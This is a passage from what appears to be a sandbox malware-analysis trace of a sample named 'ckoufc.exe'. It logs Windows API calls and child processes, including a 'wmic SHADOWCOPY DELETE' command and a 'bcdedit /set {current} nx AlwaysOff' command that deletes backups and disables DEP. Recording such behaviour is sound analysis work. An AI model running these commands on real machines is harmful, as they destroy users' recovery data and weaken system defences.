lpLCData="Tue") returned 4 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7b827ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7b827ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7b827ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7b827b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0051.634] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7b827b980, cchData=32 | out: lpLCData="Sun") returned 4 [0051.634] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7b827bb58, cchData=8 | out: lpLCData=".") returned 2 [0051.634] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7b827bb40, cchData=8 | out: lpLCData=",") returned 2 [0051.634] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0051.635] GetProcessHeap () returned 0x255e1240000 [0051.635] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x0, Size=0x20c) returned 0x255e1241030 [0051.635] GetConsoleTitleW (in: lpConsoleTitle=0x255e1241030, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.701] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0051.701] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0051.701] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0051.701] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0051.701] ??_V@YAXPEAX@Z () returned 0x1 [0051.702] GetProcessHeap () returned 0x255e1240000 [0051.702] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x4012) returned 0x255e1249f60 [0051.702] GetProcessHeap () returned 0x255e1240000 [0051.702] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1249f60) returned 1 [0051.702] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0051.702] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0051.702] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0051.702] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0051.702] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0051.703] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0051.703] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0051.703] GetProcessHeap () returned 0x255e1240000 [0051.703] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xb0) returned 0x255e1241250 [0051.703] GetProcessHeap () returned 0x255e1240000 [0051.703] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x1a) returned 0x255e1241310 [0051.703] GetProcessHeap () returned 0x255e1240000 [0051.703] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x36) returned 0x255e1241340 [0051.703] GetConsoleTitleW (in: lpConsoleTitle=0xa23917f490, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.794] malloc (_Size=0xffce) returned 0x255e1420060 [0051.794] ??_V@YAXPEAX@Z () returned 0x255e1420060 [0051.794] malloc (_Size=0xffce) returned 0x255e1430040 [0051.795] ??_V@YAXPEAX@Z () returned 0x255e1430040 [0051.795] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0051.795] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0051.795] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0051.795] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0051.795] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0051.795] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0051.796] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0051.796] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0051.796] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0051.796] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0051.796] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0051.796] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0051.796] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0051.796] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0051.796] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0051.796] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0051.796] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0051.796] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0051.796] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0051.796] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0051.796] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0051.796] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0051.796] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0051.796] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0051.796] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0051.796] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0051.796] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0051.796] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0051.796] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0051.796] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0051.796] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0051.796] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0051.796] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0051.796] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0051.796] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0051.797] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0051.797] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0051.797] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0051.797] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0051.797] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0051.797] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0051.797] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0051.797] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0051.797] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0051.797] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0051.797] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0051.797] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0051.797] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0051.797] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0051.797] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0051.797] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0051.797] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0051.797] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0051.797] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0051.797] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0051.797] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0051.797] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0051.797] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0051.797] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0051.797] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0051.797] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0051.797] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0051.797] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0051.797] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0051.797] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0051.797] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0051.797] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0051.797] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0051.797] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0051.797] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0051.797] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0051.797] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0051.797] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0051.797] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0051.797] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0051.798] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0051.798] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0051.798] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0051.798] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0051.798] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0051.798] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0051.798] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0051.798] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0051.798] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0051.798] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0051.798] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0051.798] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0051.798] ??_V@YAXPEAX@Z () returned 0x1 [0051.798] GetProcessHeap () returned 0x255e1240000 [0051.798] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xffde) returned 0x255e1249f60 [0051.799] GetProcessHeap () returned 0x255e1240000 [0051.799] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x40) returned 0x255e1241380 [0051.799] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0051.799] malloc (_Size=0xffce) returned 0x255e1430040 [0051.799] ??_V@YAXPEAX@Z () returned 0x255e1430040 [0051.799] GetProcessHeap () returned 0x255e1240000 [0051.799] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x1ffac) returned 0x255e1259f50 [0051.800] SetErrorMode (uMode=0x0) returned 0x0 [0051.801] SetErrorMode (uMode=0x1) returned 0x0 [0051.801] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x255e1259f60, lpFilePart=0xa23917ed10 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xa23917ed10*="Desktop") returned 0x17 [0051.801] SetErrorMode (uMode=0x0) returned 0x1 [0051.801] GetProcessHeap () returned 0x255e1240000 [0051.801] RtlReAllocateHeap (Heap=0x255e1240000, Flags=0x0, Ptr=0x255e1259f50, Size=0x4a) returned 0x255e1259f50 [0051.801] GetProcessHeap () returned 0x255e1240000 [0051.801] RtlSizeHeap (HeapHandle=0x255e1240000, Flags=0x0, MemoryPointer=0x255e1259f50) returned 0x4a [0051.801] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.801] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0051.801] GetProcessHeap () returned 0x255e1240000 [0051.801] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x1bc) returned 0x255e12413d0 [0051.801] GetProcessHeap () returned 0x255e1240000 [0051.801] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x368) returned 0x255e12415a0 [0051.806] GetProcessHeap () returned 0x255e1240000 [0051.806] RtlReAllocateHeap (Heap=0x255e1240000, Flags=0x0, Ptr=0x255e12415a0, Size=0x1be) returned 0x255e12415a0 [0051.806] GetProcessHeap () returned 0x255e1240000 [0051.806] RtlSizeHeap (HeapHandle=0x255e1240000, Flags=0x0, MemoryPointer=0x255e12415a0) returned 0x1be [0051.806] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.806] GetProcessHeap () returned 0x255e1240000 [0051.806] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xe8) returned 0x255e1241770 [0051.806] GetProcessHeap () returned 0x255e1240000 [0051.806] RtlReAllocateHeap (Heap=0x255e1240000, Flags=0x0, Ptr=0x255e1241770, Size=0x7e) returned 0x255e1241770 [0051.806] GetProcessHeap () returned 0x255e1240000 [0051.806] RtlSizeHeap (HeapHandle=0x255e1240000, Flags=0x0, MemoryPointer=0x255e1241770) returned 0x7e [0051.807] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.807] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xa23917ea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa23917ea80) returned 0xffffffffffffffff [0051.807] GetLastError () returned 0x2 [0051.807] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.807] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xa23917ea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa23917ea80) returned 0xffffffffffffffff [0051.807] GetLastError () returned 0x2 [0051.807] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.807] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xa23917ea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa23917ea80) returned 0xffffffffffffffff [0051.808] GetLastError () returned 0x2 [0051.808] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.808] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xa23917ea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa23917ea80) returned 0xffffffffffffffff [0051.808] GetLastError () returned 0x2 [0051.808] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.808] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xa23917ea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa23917ea80) returned 0x255e1241800 [0051.808] GetProcessHeap () returned 0x255e1240000 [0051.808] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x0, Size=0x28) returned 0x255e1241860 [0051.808] FindClose (in: hFindFile=0x255e1241800 | out: hFindFile=0x255e1241800) returned 1 [0051.808] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0xa23917ea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa23917ea80) returned 0xffffffffffffffff [0051.808] GetLastError () returned 0x2 [0051.808] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0xa23917ea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa23917ea80) returned 0x255e1241800 [0051.808] GetProcessHeap () returned 0x255e1240000 [0051.808] RtlReAllocateHeap (Heap=0x255e1240000, Flags=0x0, Ptr=0x255e1241860, Size=0x8) returned 0x255e1241860 [0051.808] FindClose (in: hFindFile=0x255e1241800 | out: hFindFile=0x255e1241800) returned 1 [0051.809] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0051.809] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0051.809] ??_V@YAXPEAX@Z () returned 0x1 [0051.809] GetConsoleTitleW (in: lpConsoleTitle=0xa23917f000, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.838] InitializeProcThreadAttributeList (in: lpAttributeList=0xa23917ef20, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa23917ee10 | out: lpAttributeList=0xa23917ef20, lpSize=0xa23917ee10) returned 1 [0051.838] UpdateProcThreadAttribute (in: lpAttributeList=0xa23917ef20, dwFlags=0x0, Attribute=0x60001, lpValue=0xa23917edfc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa23917ef20, lpPreviousValue=0x0) returned 1 [0051.838] GetStartupInfoW (in: lpStartupInfo=0xa23917eeb0 | out: lpStartupInfo=0xa23917eeb0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0051.839] GetProcessHeap () returned 0x255e1240000 [0051.839] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x20) returned 0x255e1241800 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0051.839] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0051.839] GetProcessHeap () returned 0x255e1240000 [0051.839] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1241800) returned 1 [0051.840] GetProcessHeap () returned 0x255e1240000 [0051.840] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x12) returned 0x255e1241800 [0051.840] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0051.841] _get_osfhandle (_FileHandle=1) returned 0xc [0051.841] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0051.848] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.848] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0052.029] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xa23917ee40*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic SHADOWCOPY DELETE", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa23917ee18 | out: lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessInformation=0xa23917ee18*(hProcess=0x9c, hThread=0x98, dwProcessId=0xb84, dwThreadId=0xddc)) returned 1 [0052.885] CloseHandle (hObject=0x98) returned 1 [0052.885] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0052.885] GetProcessHeap () returned 0x255e1240000 [0052.885] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e12493d0) returned 1 [0052.885] GetEnvironmentStringsW () returned 0x255e12493d0* [0052.885] GetProcessHeap () returned 0x255e1240000 [0052.885] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xb7e) returned 0x255e1245e00 [0052.885] FreeEnvironmentStringsA (penv="=") returned 1 [0052.886] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0090.393] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xa23917ed98 | out: lpExitCode=0xa23917ed98*=0x80041014) returned 1 [0090.393] CloseHandle (hObject=0x9c) returned 1 [0090.393] _vsnwprintf (in: _Buffer=0xa23917ef68, _BufferCount=0x13, _Format="%08X", _ArgList=0xa23917eda8 | out: _Buffer="80041014") returned 8 [0090.393] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0090.394] GetProcessHeap () returned 0x255e1240000 [0090.394] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1245e00) returned 1 [0090.394] GetEnvironmentStringsW () returned 0x255e1248840* [0090.394] GetProcessHeap () returned 0x255e1240000 [0090.394] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xba4) returned 0x255e1259fb0 [0090.394] FreeEnvironmentStringsA (penv="=") returned 1 [0090.394] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0090.395] GetProcessHeap () returned 0x255e1240000 [0090.395] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1259fb0) returned 1 [0090.395] GetEnvironmentStringsW () returned 0x255e1248840* [0090.395] GetProcessHeap () returned 0x255e1240000 [0090.395] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xba4) returned 0x255e1259fb0 [0090.396] FreeEnvironmentStringsA (penv="=") returned 1 [0090.396] GetProcessHeap () returned 0x255e1240000 [0090.396] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1241800) returned 1 [0090.396] DeleteProcThreadAttributeList (in: lpAttributeList=0xa23917ef20 | out: lpAttributeList=0xa23917ef20) [0090.396] ??_V@YAXPEAX@Z () returned 0x1 [0090.396] _get_osfhandle (_FileHandle=1) returned 0xc [0090.396] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0090.466] _get_osfhandle (_FileHandle=1) returned 0xc [0090.466] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0090.610] _get_osfhandle (_FileHandle=1) returned 0xc [0090.610] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0090.667] _get_osfhandle (_FileHandle=0) returned 0x8 [0090.667] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0090.732] SetConsoleInputExeNameW () returned 0x1 [0090.732] GetConsoleOutputCP () returned 0x1b5 [0090.942] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0090.942] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.074] exit (_Code=-2147217388) Thread: id = 23 os_tid = 0xee0 Process: id = "9" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0xc347000" os_pid = "0x39c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xd24" cmd_line = "bcdedit.exe /set {current} nx AlwaysOff" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0xa60 Thread: id = 32 os_tid = 0xa88 Process: id = "10" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x33e91000" os_pid = "0xb84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xd68" cmd_line = "wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 